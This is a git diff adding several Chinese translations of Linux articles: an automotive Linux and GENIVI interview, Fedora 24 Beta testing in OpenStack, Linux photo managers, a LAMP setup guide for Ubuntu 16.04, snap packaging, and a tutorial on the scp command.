+可以拯救生命的自适应巡航控制系统和防撞系统将取得长足发展。当它们大量进入汽车里面时,我相信这会使得(因车祸而导致的)死亡人数下降。如果这都不令人激动,我不知道还有什么会更令人激动。此外,像自动化停车辅助功能,将会使汽车更容易驾驶,减少汽车磕碰事故。 + +#### 我们需要做什么?人们怎样才能参与? + +车载 Linux 开发是以开源的方式开发,它运行在每个人都能买得起的廉价硬件上(如树莓派 2 和中等价位的 Renesas Porter 主板)。 GENIVI 汽车 Linux 中间件联盟通过 Git 开源了很多软件。此外,还有很酷的 [OSVehicle 开源硬件][17]汽车平台。 + +只需要不太多的预算,人们就可以参与到 Linux 软件和开放硬件中。如果您感兴趣,请加入我们在 Freenode 上的IRC #automotive 吧。 + +### 采访 Steven Crumb (by Don Watkins) + +#### GENIVI 在 IVI 方面做了哪些巨大贡献? + +GENIVI 率先通过使用自由开源软件填补了汽车行业的巨大空白,这包括 Linux、非安全关键性汽车软件(如车载娱乐系统(IVI))等。作为消费者,他们很期望在车辆上有和智能手机一样的功能,对这种支持 IVI 功能的软件的需求量成倍地增长。不过不断提升的软件数量也增加了建设 IVI 系统的成本,从而延缓了其上市时间。 + +GENIVI 使用开源软件和社区开发的模式为汽车制造商及其软件提供商节省了大量资金,从而显著地缩短了产品面市时间。我为 GENIVI 而感到激动,我们有幸引导了一场革命,在缓慢进步的汽车行业中,从高度结构化和专有的解决方案转换为以社区为基础的开发方式。我们还没有完全达成目标,但是我们很荣幸在这个可以带来实实在在好处的转型中成为其中的一份子。 + +#### 你们的主要成员怎样推动了 GENIVI 的发展方向? + +GENIVI 有很多成员和非成员致力于我们的工作。在许多开源项目中,任何公司都可以通过通过技术输出而发挥影响,包括简单地贡献代码、补丁、花点时间测试。前面说过,宝马、奔驰、现代汽车、捷豹路虎、标致雪铁龙、雷诺/日产和沃尔沃都是 GENIVI 积极的参与者和贡献者,其他的许多 OEM 厂商也在他们的汽车中采用了 IVI 解决方案,广泛地使用了 GENIVI 的软件。 + +#### 这些贡献的代码使用了什么许可证? + +GENIVI 采用了一些许可证,包括从(L)GPLv2 到 MPLv2 和 Apache2.0。我们的一些工具使用的是 Eclipse 许可证。我们有一个[公开许可策略][18],详细地说明了我们的许可证偏好。 + +#### 个人或团体如何参与其中?社区的参与对于这个项目迈向成功有多重要? + +GENIVI 的开发完全是开放的([projects.genivi.org][19]),因此,欢迎任何有兴趣在汽车中使用开源软件的人参加。也就是说,公司可以通过成员的方式[加入该联盟][20],联盟以开放的方式资助其不断进行开发。GENIVI 的成员可以享受各种各样的便利,在过去六年中,已经有多达 140 家公司参与到这个全球性的社区当中。 + +社区对于 GENIVI 是非常重要的,没有一个活跃的贡献者社区,我们不可能在这些年开发和维护了这么多有价值的软件。我们努力让参与到 GENIVI 更加简单,现在只要加入一个[邮件列表][21]就可以接触到各种软件项目中的人们。我们使用了许多开源项目采用的标准做法,并提供了高品质的工具和基础设施,以帮助开发人员宾至如归而富有成效。 + +无论你是否熟悉汽车软件,都欢迎你加入我们的社区。人们已经对汽车改装了许多年,所以对于许多人来说,在汽车上修修改改是自热而然的做法。对于汽车来说,软件是一个新的领域,GENIVI 希望能为对汽车和开源软件有兴趣的人打开这扇门。 + +------------------------------- +via: https://opensource.com/business/16/5/interview-alison-chaiken-steven-crumb + +作者:[Don Watkins][a] +译者:[erlinux](https://github.com/erlinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[1]: https://en.wikipedia.org/wiki/In_car_entertainment +[2]: https://opensource.com/life/16/1/weekly-news-jan-9 +[3]: http://projects.genivi.org/smartdevicelink/home +[4]: http://www.genivi.org/ +[5]: https://www.linkedin.com/in/stevecrumb +[6]: http://www.genivi.org/genivi-members +[7]: http://www.linuxfoundation.org/ +[8]: https://www.automotivelinux.org/ +[9]: https://en.wikipedia.org/wiki/Telematics +[10]: https://www.automotivelinux.org/news/announcement/2016/01/ford-mazda-mitsubishi-motors-and-subaru-join-linux-foundation-and +[11]: https://www.linkedin.com/in/alison-chaiken-3ba456b3 +[12]: https://www.linkedin.com/in/stevecrumb +[13]: https://opensource.com/users/eximious +[14]: https://en.wikipedia.org/wiki/MeeGo +[15]: http://webinos.org/deliverable-d026-target-platform-requirements-and-ipr/automotive/ +[16]: http://she-devel.com/Chaiken_automotive_cybersecurity.pdf +[17]: https://www.osvehicle.com/ +[18]: http://projects.genivi.org/how +[19]: http://projects.genivi.org/ +[20]: http://genivi.org/join +[21]: http://lists.genivi.org/mailman/listinfo/genivi-projects diff --git a/published/201606/20160524 Test Fedora 24 Beta in an OpenStack cloud.md b/published/201606/20160524 Test Fedora 24 Beta in an OpenStack cloud.md new file mode 100644 index 0000000000..68c147c5e8 --- /dev/null +++ b/published/201606/20160524 Test Fedora 24 Beta in an OpenStack cloud.md @@ -0,0 +1,77 @@ +在 OpenStack 云中测试 Fedora 24 Beta +=========================================== + +![](https://major.io/wp-content/uploads/2012/01/fedorainfinity.png) + +虽然离 [Fedora 24][1] 还有几周,你现在可以就测试Fedora 24 Beta了。这是一个[窥探新特性][2]的好机会,并且可以帮助他们找出仍需要修复的 bug。 + +[Fedora Cloud][3] 镜像可以从你常用的[本地镜像][4]或者 [Fedora 的服务器][5]中下载。本篇文章我将向你展示如何将这个镜像导入 OpenStack 环境并且测试 Fedora 24 Beta。 + +最后说一下:这还是 beta 软件。目前对我来说是可靠的,但是你的体验可能会不同。我建议你等到正式版发布再在上面部署关键的应用。 + +### 导入镜像 + +旧版的 glance 客户端(版本1)允许你在 OpenStack 环境中导入一个可通过 URL 访问的镜像。由于我 OpenStack 云的连接速度(1 Gbps)比我家 (大约 20 mbps 上传速度)快,这个功能对我很有用。然而,从 URL 导入的功能[在 glance v2 中被移除了]。[OpenStackClient][7] 也不支持这个功能。 + +现在由两个选择: + +- 安装旧版的 glance 客户端 +- 使用 Horizon (网页面板) + +获取旧版本的 glance 是有挑战性的。OpenStack liberty 版本的需求文件[对 glance 客户端没有最高版本上限][8],并且很难找到让旧版客户端工作的依赖文件。 + +让我们使用 Horizon,这就是写这篇文章的原因。 + +### 在 Horizon 中添加一个镜像 + +登录 Horizon 面板,点击 Compute->Image。点击页面右上方的“+ Create Image”,一个新的窗口会显示出来。并且窗口中有这些信息: + +- **Name**: Fedora 24 Cloud Beta +- **Image Source**: 镜像位置 +- **Image Location**: http://mirrors.kernel.org/fedora/releases/test/24_Beta/CloudImages/x86_64/images/Fedora-Cloud-Base-24_Beta-1.6.x86_64.qcow2 +- **Format**: QCOW2 – QEMU 模拟器 +- **Copy Data**: 确保勾选了 + +完成后,你会看到这个: + +![](https://major.io/wp-content/uploads/2016/05/horizon_image.png) + +点击“创建镜像(Creat Image)”,接着镜像列表会显示一段时间的 Saving 信息。一旦切换到 Active,你就可以构建一个实例了。 + +### 构建实例 + +既然我们在使用 Horizon,我们可以在此完成构建过程。 + +在镜像列表页面,找出我们上传的镜像并且点击右边的启动实例(Launch Instance)。一个新的窗口会显示出来。镜像名(Image Name)下拉框中应该已经选择了 Fedora 24 Beta 的镜像。在这里,选择一个实例名,选择一个安全组和密钥对(在 Access & Security 标签中)和网络(在 Networking 标签)。确保选择有足够容量的存储(m1.tiny 不太够)。 + +点击启动(Launch)并且等待实例启动。 + +一旦实例构建完成,你能以用户 fedora 通过 ssh 连接到实例。如果你的[安全组允许连接][9]并且你的密钥对正确配置了,你应该进入到 Fedora 24 Beta 中了! + +还不确定接下来做什么?有下面几点建议: + +- 升级所有的包并且重启(确保你测试的是最新的更新) +- 安装一些熟悉的应用并且验证它们可以正常工作 +- 测试你已有的自动化或者配置管理工具 +- 打开 bug 报告 + +-------------------------------------------------------------------------------- + +via: https://major.io/2016/05/24/test-fedora-24-beta-openstack-cloud/ + +作者:[major.io][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://major.io/about-the-racker-hacker/ +[1]: https://fedoraproject.org/wiki/Releases/24/Schedule +[2]: https://fedoraproject.org/wiki/Releases/24/ChangeSet +[3]: https://getfedora.org/en/cloud/ +[4]: https://admin.fedoraproject.org/mirrormanager/mirrors/Fedora/24/x86_64 +[5]: https://getfedora.org/en/cloud/download/ +[6]: https://wiki.openstack.org/wiki/Glance-v2-v1-client-compatability +[7]: http://docs.openstack.org/developer/python-openstackclient/ +[8]: https://github.com/openstack/requirements/blob/stable/liberty/global-requirements.txt#L159 +[9]: https://major.io/2016/05/16/troubleshooting-openstack-network-connectivity/ diff --git a/published/201606/20160526 BEST LINUX PHOTO MANAGEMENT SOFTWARE IN 2016.md b/published/201606/20160526 BEST LINUX PHOTO MANAGEMENT SOFTWARE IN 2016.md new file mode 100644 index 0000000000..57f7b5a314 --- /dev/null +++ b/published/201606/20160526 BEST LINUX PHOTO MANAGEMENT SOFTWARE IN 2016.md @@ -0,0 +1,165 @@ +2016 年最佳 Linux 图像管理软件 +============================================= + +![](http://itsfoss.com/wp-content/uploads/2016/05/Best-Linux-Photo-Management-Software.jpg) + +通常谈及 Linux 上的应用程序时,我们有很多选择,但有时候选择的余地却很小。 + +有一些读者要我们做一个合宜的**图像管理软件**列表,来代替 Linux 上已被弃用的 Picasa 应用。 + +其实 Linux 平台上还是有很多很好的图像管理软件的,你可以根据你图片库的大小选择合适的应用。 + +这个列表和我们先前的 [最佳图像程序应用][1] 有些差别,上次我们介绍了图像编辑软件,绘图软件等,而这次的介绍主要集中在图像管理软件上。 + +好,下面我们开始介绍。我会详细说明在 Ubuntu 及其衍生版下的安装命令,我们只需要打开终端运行这些命令。 + +### [gThumb](https://wiki.gnome.org/Apps/gthumb) + +![](http://itsfoss.com/wp-content/uploads/2016/05/gThumb-1-1024x540.jpg) + +*gThumb 图像编辑器* + +gThumb 是在 GNOME 桌面环境下的一个轻量级的图像管理应用,它涵盖了基本图像管理功能,比如编辑图片以及更加高级的操作等,gThumb 主要功能如下: + +- 图片查看:支持所有主流的图片格式(包括 gif)和元数据(EXIF、 XMP 等)。 +- 图片浏览:所有基础的浏览操作(缩略图、移动、复制、删除等)以及书签支持。 +- 图片管理:使用标签、目录和库来组织图片。从数码相机导入图片,集成了网络相册(Picasa,Flickr,Facebook等)。 +- 图片编辑:基本图像编辑操作、滤镜、格式转换等。 + +更多功能请参考官方 [gThumb 功能][2] 列表。如果你使用的是 GNOME 或者基于 GNOME 的桌面环境(如 MATE),那么你一定要试用一下。 + +#### gThumb 安装 + +``` +sudo apt-get install gthumb +``` + + +### [digiKam][3] + +![](http://itsfoss.com/wp-content/uploads/2016/05/digiKam-1-1024x540.png) + +*digiKam* + +digiKam 主要为 KDE 而设计,在其他桌面环境下也可以使用。它有很多很好的图像界面功能,主要功能如下所示: + +- 图片管理:相册、子相册、标签、评论、元数据、排序支持。 +- 图片导入:支持从数码相机、USB设备、网络相册(包括 Picasa 和 Facebook)导入,以及另外一些功能。 +- 图片输出:支持输出至很多网络在线平台,以及格式转换。 +- 图片编辑:支持很多图像编辑的操作。 + +毫无疑问,digiKam 如果不是最好的图像管理软件,也是之一。 + +#### digiKam 安装 + +``` +sudo apt-get install digikam +``` + +### [Shotwell][4] + +![](http://itsfoss.com/wp-content/uploads/2016/05/Shotwell-1-1024x540.png) + +*Shotwell* + +Shotwell 图像管理也是为 GNOME 桌面环境设计,虽然功能不及 gThumb 多,但满足了基本需求。主要功能如下: + +- 从磁盘或数码相机导入图片。 +- 事件、标签和基于文件夹的图片管理方式。 +- 基本图片编辑功能和格式转换。 +- 支持上传至网络平台(Facebook,Flickr,Tumblr 等)。 + +如果你想要一款功能相对简单的应用,你可以尝试一下这个。 + +#### Shotwell 安装 + +``` +sudo apt-get install shotwell +``` + +### [KPhotoAlbum][5] + +![](http://itsfoss.com/wp-content/uploads/2016/05/KPhotoAlbum-1-1024x540.png) + +*KPhotoAlbum* + +KPhotoAlbum 是一款在 KDE 桌面环境下的图像管理应用。它有一些独特的功能:分类和基于时间浏览。你可以基于人物、地点、时间分类;另外在用户图形界面底部会显示时间栏。 + +KPhotoAlbum 有很多图像管理和编辑功能,主要功能包括: + +- 高级图片操作(分类、子分类、标签、元数据、注释等等)。 +- 图片导入导出功能(包括主流图片分享平台)。 +- 众多编辑功能(包括批量处理)。 + +这些高级的功能有一些缺点,就是用户大多需要手工操作。但如果你是 KDE 爱好者,这是个好的选择。它完美适用 KDE,但是你也可以在非 KDE 桌面环境下使用 KPhotoAlbum。 + +#### KPhotoAlbum 安装 + +``` +sudo apt-get install kphotoalbum +``` + +### [Darktable][7] + +![](http://itsfoss.com/wp-content/uploads/2016/05/darktable-1-1024x540.png) + +*Darktable* + +Darktable 与其说是图像管理工具,不如说是图像编辑软件。Darktable 有良好的用户图形界面,对桌面环境没有特殊的要求,这也不会影响到它的图像编辑功能。它的基本功能如下: + +- 基本图片管理。 +- 众多高级的图片编辑功能。 +- 支持导出至 Picasa 和 Flickr 和格式转换。 + +如果你喜欢照片编辑和润色,Darktable 是个好的选择。 + +> 推荐阅读:[怎样在 Ubuntu 下通过 PPA 安装 Darktable 2.0][8] + +#### Darktable 安装 + +``` +sudo add-apt-repository ppa:pmjdebruijn/darktable-release +sudo apt-get update +sudo apt-get install darktable +``` + +### 其它 + +如果你想要功能简单的应用,比如从便携设备(相机、手机、便携设备等)中导入照片并存入磁盘,毫无疑问该使用 [Rapid Photo Downloader][9],它很适合从便携设备中导入和备份图片,而且安装配置过程简单。 + +在 Ubuntu 上安装 Rapid Photo Downloade,打开终端输入命令: + +``` +sudo apt-get install rapid-photo-downloader +``` + +如果你想尝试更多的选择: + +- [GNOME Photos][10] (GNOME 桌面环境下的图像查看器) +- [Gwenview][11] (KDE 桌面环境下的图像查看器) +- [Picty][12] (开源图像管理器) + +那么,你正在使用,或者打算使用其中一款应用吗?在 Ubuntu 或其它 Linux 上你有其它更好的推荐吗?你有最喜欢的 Linux 图像管理软件吗?分享你的观点给我们。 + +---------- +via: http://itsfoss.com/linux-photo-management-software/ + +作者:[Munif Tanjim][a] +译者:[sarishinohara](https://github.com/sarishinohara) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://itsfoss.com/author/munif/ +[1]: http://itsfoss.com/image-applications-ubuntu-linux/ +[2]: https://wiki.gnome.org/Apps/gthumb/features +[3]: https://www.digikam.org/ +[4]: https://wiki.gnome.org/Apps/Shotwell +[5]: https://www.kphotoalbum.org/ +[6]: https://www.kde.org/ +[7]: http://www.darktable.org/ +[8]: http://itsfoss.com/darktable-20-released-installation-ppa/ +[9]: http://www.damonlynch.net/rapid/index.html +[10]: https://wiki.gnome.org/Apps/Photos +[11]: https://userbase.kde.org/Gwenview +[12]: https://github.com/spillz/picty diff --git a/published/201606/20160529 LAMP Stack Installation Guide on Ubuntu Server 16.04 LTS.md b/published/201606/20160529 LAMP Stack Installation Guide on Ubuntu Server 16.04 LTS.md new file mode 100644 index 0000000000..c74b0eba1b --- /dev/null +++ b/published/201606/20160529 LAMP Stack Installation Guide on Ubuntu Server 16.04 LTS.md @@ -0,0 +1,159 @@ +在 Ubuntu Server 16.04 LTS 上安装 LAMP +========================================================= + +LAMP 方案是一系列自由和开源软件的集合,包含了 **Linux**、Web 服务器 (**Apache**)、 数据库服务器 (**MySQL / MariaDB**) 和 **PHP** (脚本语言)。LAMP 是那些需要安装和构建动态网页应用的基础平台,比如WordPress、Joomla、OpenCart 和 Drupal。 + +在这篇文章中,我将描述如何在 Ubuntu Server 16.04 LTS 上安装 LAMP,众所周知 Ubuntu 是一个基于 Linux 的操作系统,因此它构成了 LAMP 的第一个部分,在接下来的操作中,我将默认你已经安装了 Ubuntu Server 16.04。 + +### Apache2 web 服务器的安装 : + +在 Ubuntu linux 中,web 服务器是 Apache2,我们可以利用下面的命令来安装它: + +``` +linuxtechi@ubuntu:~$ sudo apt update +linuxtechi@ubuntu:~$ sudo apt install apache2 -y +``` + +当安装 Apache2 包之后,Apache2 相关的服务是启用的,并在重启后自动运行。在某些情况下,如果你的 Apache2 服务并没有自动运行和启用,你可以利用如下命令来启动和启用它。 + +``` +linuxtechi@ubuntu:~$ sudo systemctl start apache2.service +linuxtechi@ubuntu:~$ sudo systemctl enable apache2.service +linuxtechi@ubuntu:~$ sudo systemctl status apache2.service +``` + +如果你开启了 Ubuntu 的防火墙(ufw),那么你可以使用如下的命令来解除 web 服务器的端口(80和443)限制 + +``` +linuxtechi@ubuntu:~$ sudo ufw status +Status: active +linuxtechi@ubuntu:~$ sudo ufw allow in 'Apache Full' +Rule added +Rule added (v6) +linuxtechi@ubuntu:~$ +``` + +### 现在开始访问你的 web 服务器 : + +打开浏览器并输入服务器的IP地址或者主机名(http://IP\_Address\_OR\_Host\_Name),在我的例子中我的服务器 IP是‘192.168.1.13’ + +![](http://www.linuxtechi.com/wp-content/uploads/2016/05/Apache2-Ubuntu-server-16.04-1024x955.jpg) + +### 数据库服务器的安装 (MySQL Server 5.7) : + +MySQL 和 MariaDB 都是 Ubuntu 16.04 中的数据库服务器。 MySQL Server 和 MariaDB Server的安装包都可以在Ubuntu 的默认软件源中找到,我们可以选择其中的一个来安装。通过下面的命令来在终端中安装mysql服务器。 + +``` +linuxtechi@ubuntu:~$ sudo apt install mysql-server mysql-client +``` + +在安装过程中,它会要求你设置 mysql 服务器 root 帐户的密码。 + +![](http://www.linuxtechi.com/wp-content/uploads/2016/05/Enter-root-password-mysql-server-ubuntu-16-04.jpg) + +确认 root 帐户的密码,并点击确定。 + +![](http://www.linuxtechi.com/wp-content/uploads/2016/05/confirm-root-password-mysql-server-ubuntu-16-04.jpg) + +MySQL 服务器的安装到此已经结束了, MySQL 服务会自动启动并启用。我们可以通过如下的命令来校验 MySQL 服务的状态。 + +``` +linuxtechi@ubuntu:~$ sudo systemctl status mysql.service +``` + +### MariaDB Server的安装 : + +在终端中使用如下的命令来安装 Mariadb 10.0 服务器。 + +``` +linuxtechi@ubuntu:~$ sudo apt install mariadb-server +``` + +运行如下的命令来设置 MariaDB root 帐户的密码,还可以用来关闭某些选项,比如关闭远程登录功能。 + +``` +linuxtechi@ubuntu:~$ sudo mysql_secure_installation +``` + +### PHP 脚本语言的安装: + +PHP 7 已经存在于 Ubuntu 的软件源中了,在终端中执行如下的命令来安装 PHP 7: + +``` +linuxtechi@ubuntu:~$ sudo apt install php7.0-mysql php7.0-curl php7.0-json php7.0-cgi php7.0 libapache2-mod-php7.0 +``` + +创建一个简单的 php 页面,并且将它移动到 apache 的文档根目录下 (/var/ww/html) + +``` +linuxtechi@ubuntu:~$ vi samplepage.php + +``` + +在 vi 中编辑之后,保存并退出该文件。 + +``` +linuxtechi@ubuntu:~$ sudo mv samplepage.php /var/www/html/ +``` + +现在你可以从 web 浏览器中访问这个页面, 输入 : “http:///samplepage.php” ,你可以看到如下页面。 + +![](http://www.linuxtechi.com/wp-content/uploads/2016/05/Sample-PHP-Page-Ubuntu-Server-16-04.jpg) + +以上的页面向我们展示了 PHP 已经完全安装成功了。 + +### phpMyAdmin 的安装: + +phpMyAdmin 可以让我们通过它的 web 界面来执行所有与数据库管理和其他数据库操作相关的任务,这个安装包已经存在于 Ubuntu 的软件源中。 + +利用如下的命令来在 Ubuntu server 16.04 LTS 中安装 phpMyAdmin。 + +``` +linuxtechi@ubuntu:~$ sudo apt install php-mbstring php7.0-mbstring php-gettext +linuxtechi@ubuntu:~$ sudo systemctl restart apache2.service +linuxtechi@ubuntu:~$ sudo apt install phpmyadmin +``` + +在以下的安装过程中,它会提示我们选择 phpMyAdmin 运行的目标服务器。 + +选择 Apache2 并点击确定。 + +![](http://www.linuxtechi.com/wp-content/uploads/2016/05/Web-Server-for-phpMyAdmin-Ubuntu-Server-16-04.jpg) + +点击确定来配置 phpMyAdmin 管理的数据库。 + +![](http://www.linuxtechi.com/wp-content/uploads/2016/05/configure-database-for-phpmyadmin-ubuntu-server-16-04.jpg) + +指定 phpMyAdmin 向数据库服务器注册时所用的密码。 + +![](http://www.linuxtechi.com/wp-content/uploads/2016/05/Select-Password-for-phpMyadmin-ubuntu-16-04-1024x433.jpg) + +确认 phpMyAdmin 所需的密码,并点击确认。 + +![](http://www.linuxtechi.com/wp-content/uploads/2016/05/confirm-password-for-phpmyadmin-ubuntu-server-16-04.jpg) + +现在可以开始尝试访问 phpMyAdmin,打开浏览器并输入 : “http://Server\_IP\_OR\_Host\_Name/phpmyadmin” + +使用我们安装时设置的 root 帐户和密码。 + +![](http://www.linuxtechi.com/wp-content/uploads/2016/05/phpMyAdmin-Ubuntu-Server-16-04-1024x557.jpg) + +当我们点击“Go”的时候,将会重定向到如下所示的 ‘phpMyAdmin’ web界面。 + +![](http://www.linuxtechi.com/wp-content/uploads/2016/05/phpMyAdmin-portal-overview-ubuntu-server-16-04-1024x557.jpg) + +到现在,LAMP 方案已经被成功安装并可以使用了,欢迎分享你的反馈和评论。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/lamp-stack-installation-on-ubuntu-server-16-04/ + +作者:[Pradeep Kumar][a] +译者:[陆建波](https://github.com/lujianbo) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201606/20160601 Apps to Snaps.md b/published/201606/20160601 Apps to Snaps.md new file mode 100644 index 0000000000..458960f555 --- /dev/null +++ b/published/201606/20160601 Apps to Snaps.md @@ -0,0 +1,61 @@ +将 Linux 软件打包成 Snap 软件包 +================ + +![](https://insights.ubuntu.com/wp-content/uploads/27eb/app-snap.png) + +在 Linux 分发应用不总是那么容易。有各种不同的包格式、基础系统、可用库,随着发行版的一次次发布,所有的这些都让人头疼。然而,现在我们有了更简单的东西:Snap。 + +Snap 是开发者打包他们应用的新途径,它相对于传统包格式,如 .deb,.rpm 等带来了许多优点。Snap 安全,彼此隔离,宿主系统使用了类似 AppArmor 的技术,它们跨平台且自足的,让开发者可以准确地将应用所需要的依赖打包到一起。沙盒隔离也加强了安全,并允许应用和整个基于 snap 的系统,在出现问题的时候可以回滚。Snap 确实是 Linux 应用打包的未来。 + +创建一个 snap 包并不困难。首先,你需要一个 snap 基础运行环境,能够让你的桌面环境认识并运行 snap 软件包,这个工具叫做 snapd ,默认内置于所有 Ubuntu 16.04 系统中。接着你需要创建 snap 的工具 Snapcraft,它可以通过一个简单的命令安装: + +``` +$ sudo apt-get install snapcraft +``` + +这个环境安装好了之后就可以 snap 起来了。 + +Snap 使用一个特定的 YAML 格式的文件 snapcraft.yaml,它定义了应用是如何打包的以及它需要的依赖。用一个简单的应用来演示一下,下面的 YAML 文件是个如何 snap 一个 moon-buggy 游戏的实际例子,该游戏在 Ubuntu 源中提供。 + +``` +name: moon-buggy +version: 1.0.51.11 +summary: Drive a car across the moon +description: | +A simple command-line game where you drive a buggy on the moon +apps: + play: + command: usr/games/moon-buggy +parts: + moon-buggy: + plugin: nil + stage-packages: [moon-buggy] + snap: + – usr/games/moon-buggy +``` + +上面的代码出现了几个新概念。第一部分是关于如何让你的应用可以在商店找到的信息,设置软件包的元数据名称、版本号、摘要、以及描述。apps 部分实现了 play 命令,指向了 moon-buggy 可执行文件位置。parts 部分告诉 snapcraft 用来构建应用所需要的插件以及依赖的包。在这个简单的例子中我们需要的所有东西就是来自 Ubuntu 源中的 moon-buggy 应用本身,snapcraft 负责剩下的工作。 + +在你的 snapcraft.yaml 所在目录下运行 snapcraft ,它会创建 moon-buggy_1.0.51.11_amd64.snap 包,可以通过以下命令来安装它: + +``` +$ snap install moon-buggy_1.0.51.11_amd64.snap +``` + +想了解更复杂一点的 snap 打包操作,比如基于 Electron 的 Simplenote 可以[看这里][1],在线教程在[这里][2],相应的代码在 [Github][3]。更多的例子可以在 Ubuntu 开发者[站点][4]找到。 + +-------------------------------------------------------------------------------- + +via: https://insights.ubuntu.com/2016/06/01/apps-to-snaps/ + +作者:[Jamie][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://insights.ubuntu.com/author/jamiebennett/ +[1]: http://www.simplenote.com/ +[2]: http://www.linuxuk.org/post/20160518_snapping_electron_based_applications_simplenote/ +[3]: https://github.com/jamiedbennett/snaps/tree/master/simplenote +[4]: https://developer.ubuntu.com/en/desktop/get-started/ diff --git a/published/201606/20160601 scp command in Linux.md b/published/201606/20160601 scp command in Linux.md new file mode 100644 index 0000000000..0a299cbed0 --- /dev/null +++ b/published/201606/20160601 scp command in Linux.md @@ -0,0 +1,160 @@ +在 Linux 下使用 scp 命令 +======================= + +![](https://www.unixmen.com/wp-content/uploads/2016/05/SCP-LOGO-1.jpg) + +scp 是安全拷贝协议 (Secure Copy Protocol)的缩写,和众多 Linux/Unix 使用者所熟知的拷贝(cp)命令一样。scp 的使用方式类似于 cp 命令,cp 命令将一个文件或文件夹从本地操作系统的一个位置(源)拷贝到目标位置(目的),而 scp 用来将文件或文件夹从网络上的一个主机拷贝到另一个主机当中去。 + +scp 命令的使用方法如下所示,在这个例子中,我将一个叫 “importantfile” 的文件从本机(10.10.16.147)拷贝到远程主机(10.0.0.6)中。在这个命令里,你也可以使用主机名字来替代IP地址。 + +``` +[root@localhost ~]# scp importantfile admin@10.0.0.6:/home/admin/ +The authenticity of host '10.0.0.6 (10.0.0.6)' can't be established. +RSA key fingerprint is SHA256:LqBzkeGa6K9BfWWKgcKlQoE0u+gjorX0lPLx5YftX1Y. +RSA key fingerprint is MD5:ed:44:42:59:3e:dd:4c:12:43:4a:89:b1:5d:bd:9e:20. +Are you sure you want to continue connecting (yes/no)? yes +Warning: Permanently added '10.0.0.6' (RSA) to the list of known hosts. +admin@10.0.0.6's password: +importantfile 100% 0 0.0KB/s 00:00 +[root@localhost ~]# +``` + +类似的,如果你想从一个远程主机中取得文件,你可以利用如下的 scp 命令。 + +``` +[root@localhost ~]# scp root@10.10.16.137:/root/importantfile /home/admin/ +The authenticity of host '10.10.16.137 (10.10.16.137)' can't be established. +RSA key fingerprint is b0:b0:a3:c3:2e:94:13:0c:29:2e:ba:0b:d3:d6:12:8f. +Are you sure you want to continue connecting (yes/no)? yes +Warning: Permanently added '10.10.16.137' (RSA) to the list of known hosts. +root@10.10.16.137's password: +importantfile 100% 0 0.0KB/s 00:00 +[root@localhost ~]# +``` + +你也可以像 cp 命令一样,在 scp 命令中使用不同的选项,scp 的 man 帮助详细地阐述了不同选项的用法和用处。 + +**示例输出** + +![](https://www.unixmen.com/wp-content/uploads/2016/05/scp.jpg) + + +scp 可选参数如下所示: + + -B 采取批量模式(避免询问密码或口令) + -C 启用压缩。通过指明 -C 参数来开启压缩模式。 + -c 加密方式 + 选择在传输过程中用来加密的加密方式 这个选项会被直接传递到 ssh(1)。 + -F ssh 配置 + 给 ssh 指定一个用来替代默认配置的配置文件。这个选项会被直接传递到 ssh(1)。 + -l 限速 + 限制命令使用的带宽,默认单位是 Kbit/s。 + -P 端口 + 指定需要的连接的远程主机的端口。 + 注意,这个选项使用的是一个大写的“P”,因为小写的“-p”已经用来保留目标文件的时间和模式相关信息。(LCTT 译注:ssh 命令中使用小写的“-p”来指定目标端口。) + -p 保留文件原来的修改时间,访问时间以及权限模式。 + -q 静默模式:不显示来自 ssh(1) 命令的进度信息,警告和诊断信息。 + -r 递归拷贝整个目录。 + 注意,scp 命令在树形遍历的时候同样会跟随符号连接,复制所连接的文件。 + -v 详细模式。scp 和 ssh(1) 将会打印出处理过程中的调试信息。这可以帮助你调试连接、认证和配置方面的问题。 + +**详细模式** + +利用 scp 命令的 -v 选项,你可以得到认证、调试等的相关细节信息。 + +![](http://www.unixmen.com/wp-content/uploads/2016/05/scp-v.jpg) + +当我们使用 -v 选项的时候,一个简单的输出如下所示: + +``` +[root@localhost ~]# scp -v abc.txt admin@10.0.0.6:/home/admin +Executing: program /usr/bin/ssh host 10.0.0.6, user admin, +command scp -v -t/home/admin +OpenSSH_7.1p1, OpenSSL 1.0.2d-fips 9 Jul 2015 +debug1: Reading configuration data /etc/ssh/ssh_config +debug1: /etc/ssh/ssh_config line 56: Applying options for * +debug1: Connecting to 10.0.0.6 [10.0.0.6] port 22. +debug1: Connection established. +debug1: Server host key: ssh-rsa SHA256:LqBzkeGa6K9BfWWKgcKlQoE0u+gjorX0lPLx5YftX1Y +debug1: Next authentication method: publickey +debug1: Trying private key: /root/.ssh/id_rsa +debug1: Trying private key: /root/.ssh/id_dsa +debug1: Trying private key: /root/.ssh/id_ecdsa +debug1: Trying private key: /root/.ssh/id_ed25519 +debug1: Next authentication method: password +admin@10.0.0.6's password: +debug1: Authentication succeeded (password). +Authenticated to 10.0.0.6 ([10.0.0.6]:22). +debug1: channel 0: new [client-session] +debug1: Requesting no-more-sessions@openssh.com +debug1: Entering interactive session. +debug1: Sending environment. +debug1: Sending command: scp -v -t /home/admin +Sending file modes: C0644 174 abc.txt +Sink: C0644 174 abc.txt +abc.txt 100% 174 0.2KB/s 00:00 +Transferred: sent 3024, received 2584 bytes, in 0.3 seconds +Bytes per second: sent 9863.3, received 8428.1 +debug1: Exit status 0 +[root@localhost ~]# +``` + +当我们需要拷贝一个目录或者文件夹的时候,我们可以使用 -r 选项,它会递归拷贝整个目录。 + +![](http://www.unixmen.com/wp-content/uploads/2016/05/scp-with-r.jpg) + +**静默模式** + 